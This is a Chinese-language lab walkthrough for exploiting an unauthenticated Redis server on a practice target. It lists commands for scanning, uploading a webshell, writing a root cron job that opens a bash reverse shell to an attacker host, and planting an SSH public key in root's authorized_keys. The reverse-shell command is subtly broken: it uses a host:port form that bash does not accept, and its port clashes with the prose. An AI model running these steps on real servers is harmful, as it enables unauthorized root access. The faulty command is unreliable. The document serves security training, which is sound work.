Redis未授权访问
试验地址
实验步骤
1. redis创建shell文件
-
首先先下载工具包
wget http://tools.hetianlab.com/tools/RedisUnauthorized.zip
-
解压
unzip RedisUnauthorized.zip
-
tar -zxvf redis-6.0.3.tar.gz
-
移动到redis文件夹下,
make
-
移动到
/redis/src
将redis-cli复制到/usr/bin
目录下cp redis-cli /usr/bin
-
nmap扫描目标
nmap -sS -Pn -p- -T4 10.1.1.200
-
发现端口22,80,5902,6002,6379
- 使用dirsearch扫描敏感目录
敏感信息泄漏
- 连接靶机redis,发现存在未授权访问``
- 上传一句话木马
- 使用蚁剑连接
2. redis写定时任务反弹shell
- Kali使用nc开启监听
nc -lvvp 4444
- 设置写入的内容,在计划任务前后加入换行(\n)以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100:4444 0>&1\n\n"
- 设置备份路径
config set dir /var/spool/cron
- 设置备份文件名
config set dbfilename root
save
成功获取shell
3. redis写入ssh公钥获取shell
-
生成公钥
ssh-keygen -t rsa
-
将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
-
将foo.txt写靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
-
设置备份路径
config set dir /root/.ssh/
-
设置上传公钥的备份文件名字为**authorized_keys **
config set dbfilename "authorized_keys"
-
save
-
ssh root@10.1.1.200 -i /root/.ssh/id_rsa